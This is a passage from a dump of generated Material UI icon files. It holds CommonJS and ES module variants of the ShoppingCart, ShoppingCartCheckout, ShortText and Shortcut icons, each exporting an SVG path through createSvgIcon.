    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7zM12 2l4 4-4 4-1.41-1.41L12.17 7H8V5h4.17l-1.59-1.59z\"\n}), 'ShoppingCartCheckout');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartCheckout.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7zM12 2l4 4-4 4-1.41-1.41L12.17 7H8V5h4.17l-1.59-1.59z\"\n}), 'ShoppingCartCheckout');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartCheckoutOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7zM12 2l4 4-4 4-1.41-1.41L12.17 7H8V5h4.17l-1.59-1.59z\"\n}), 'ShoppingCartCheckoutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartCheckoutOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7zM12 2l4 4-4 4-1.41-1.41L12.17 7H8V5h4.17l-1.59-1.59z\"\n}), 'ShoppingCartCheckoutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartCheckoutRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m2-2c0-.55-.45-1-1-1H7l1.1-2h7.45c.75 0 1.41-.41 1.75-1.03l3.24-6.14c.25-.48.08-1.08-.4-1.34-.49-.27-1.1-.08-1.36.41L15.55 11H8.53L4.54 2.57c-.16-.35-.52-.57-.9-.57H2c-.55 0-1 .45-1 1s.45 1 1 1h1l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h11c.55 0 1-.45 1-1M11.29 2.71c.39-.39 1.02-.39 1.41 0l2.59 2.59c.39.39.39 1.02 0 1.41L12.7 9.3c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l.88-.89H9c-.55 0-1-.45-1-1s.45-1 1-1h3.17l-.88-.88a.996.996 0 0 1 0-1.41\"\n}), 'ShoppingCartCheckoutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartCheckoutRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m2-2c0-.55-.45-1-1-1H7l1.1-2h7.45c.75 0 1.41-.41 1.75-1.03l3.24-6.14c.25-.48.08-1.08-.4-1.34-.49-.27-1.1-.08-1.36.41L15.55 11H8.53L4.54 2.57c-.16-.35-.52-.57-.9-.57H2c-.55 0-1 .45-1 1s.45 1 1 1h1l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h11c.55 0 1-.45 1-1M11.29 2.71c.39-.39 1.02-.39 1.41 0l2.59 2.59c.39.39.39 1.02 0 1.41L12.7 9.3c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l.88-.89H9c-.55 0-1-.45-1-1s.45-1 1-1h3.17l-.88-.88a.996.996 0 0 1 0-1.41\"\n}), 'ShoppingCartCheckoutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartCheckoutSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h8.66L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59L3.61 17H19v-2H7zM12 2l4 4-4 4-1.41-1.41L12.17 7H8V5h4.17l-1.59-1.59z\"\n}), 'ShoppingCartCheckoutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartCheckoutSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h8.66L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59L3.61 17H19v-2H7zM12 2l4 4-4 4-1.41-1.41L12.17 7H8V5h4.17l-1.59-1.59z\"\n}), 'ShoppingCartCheckoutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartCheckoutTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7zM12 2l4 4-4 4-1.41-1.41L12.17 7H8V5h4.17l-1.59-1.59z\"\n}), 'ShoppingCartCheckoutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartCheckoutTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7zM12 2l4 4-4 4-1.41-1.41L12.17 7H8V5h4.17l-1.59-1.59z\"\n}), 'ShoppingCartCheckoutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.55 13c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.94-2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7l1.1-2zM6.16 6h12.15l-2.76 5H8.53zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'ShoppingCartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.55 13c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.94-2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7l1.1-2zM6.16 6h12.15l-2.76 5H8.53zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'ShoppingCartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2M1 3c0 .55.45 1 1 1h1l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h11c.55 0 1-.45 1-1s-.45-1-1-1H7l1.1-2h7.45c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.67-1.43c-.16-.35-.52-.57-.9-.57H2c-.55 0-1 .45-1 1m16 15c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'ShoppingCartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2M1 3c0 .55.45 1 1 1h1l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h11c.55 0 1-.45 1-1s-.45-1-1-1H7l1.1-2h7.45c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.67-1.43c-.16-.35-.52-.57-.9-.57H2c-.55 0-1 .45-1 1m16 15c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'ShoppingCartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m0-3 1.1-2h7.45c.75 0 1.41-.41 1.75-1.03L21.7 4H5.21l-.94-2H1v2h2l3.6 7.59L3.62 17H19v-2z\"\n}), 'ShoppingCartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m0-3 1.1-2h7.45c.75 0 1.41-.41 1.75-1.03L21.7 4H5.21l-.94-2H1v2h2l3.6 7.59L3.62 17H19v-2z\"\n}), 'ShoppingCartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.55 11 2.76-5H6.16l2.37 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.55 13c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.94-2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7l1.1-2zM6.16 6h12.15l-2.76 5H8.53zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}, \"1\")], 'ShoppingCartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.55 11 2.76-5H6.16l2.37 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.55 13c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.94-2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7l1.1-2zM6.16 6h12.15l-2.76 5H8.53zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}, \"1\")], 'ShoppingCartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortText.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h16v2H4zm0 4h10v2H4z\"\n}), 'ShortText');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortText.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h16v2H4zm0 4h10v2H4z\"\n}), 'ShortText');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortTextOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h16v2H4zm0 4h10v2H4z\"\n}), 'ShortTextOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortTextOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h16v2H4zm0 4h10v2H4z\"\n}), 'ShortTextOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortTextRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 9h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1m0 4h8c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'ShortTextRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortTextRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 9h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1m0 4h8c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'ShortTextRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortTextSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h16v2H4zm0 4h10v2H4z\"\n}), 'ShortTextSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortTextSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h16v2H4zm0 4h10v2H4z\"\n}), 'ShortTextSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortTextTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h16v2H4zm0 4h10v2H4z\"\n}), 'ShortTextTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortTextTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h16v2H4zm0 4h10v2H4z\"\n}), 'ShortTextTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shortcut.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 11-6-6v5H8c-2.76 0-5 2.24-5 5v4h2v-4c0-1.65 1.35-3 3-3h7v5z\"\n}), 'Shortcut');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shortcut.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 11-6-6v5H8c-2.76 0-5 2.24-5 5v4h2v-4c0-1.65 1.35-3 3-3h7v5z\"\n}), 'Shortcut');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortcutOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 5-1.41 1.41L15 7.83 17.17 10H8c-2.76 0-5 2.24-5 5v4h2v-4c0-1.65 1.35-3 3-3h9.17L15 14.17l-1.41 1.41L15 17l6-6z\"\n}), 'ShortcutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortcutOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 5-1.41 1.41L15 7.83 17.17 10H8c-2.76 0-5 2.24-5 5v4h2v-4c0-1.65 1.35-3 3-3h9.17L15 14.17l-1.41 1.41L15 17l6-6z\"\n}), 'ShortcutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortcutRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.29 10.29 16.7 6.7c-.62-.62-1.7-.18-1.7.71V10H8c-2.76 0-5 2.24-5 5v3c0 .55.45 1 1 1s1-.45 1-1v-3c0-1.65 1.35-3 3-3h7v2.59c0 .89 1.08 1.34 1.71.71l3.59-3.59c.38-.39.38-1.03-.01-1.42\"\n}), 'ShortcutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortcutRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.29 10.29 16.7 6.7c-.62-.62-1.7-.18-1.7.71V10H8c-2.76 0-5 2.24-5 5v3c0 .55.45 1 1 1s1-.45 1-1v-3c0-1.65 1.35-3 3-3h7v2.59c0 .89 1.08 1.34 1.71.71l3.59-3.59c.38-.39.38-1.03-.01-1.42\"\n}), 'ShortcutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortcutSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 11-6-6v5H8c-2.76 0-5 2.24-5 5v4h2v-4c0-1.65 1.35-3 3-3h7v5z\"\n}), 'ShortcutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortcutSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 11-6-6v5H8c-2.76 0-5 2.24-5 5v4h2v-4c0-1.65 1.35-3 3-3h7v5z\"\n}), 'ShortcutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShortcutTwoTone.js",
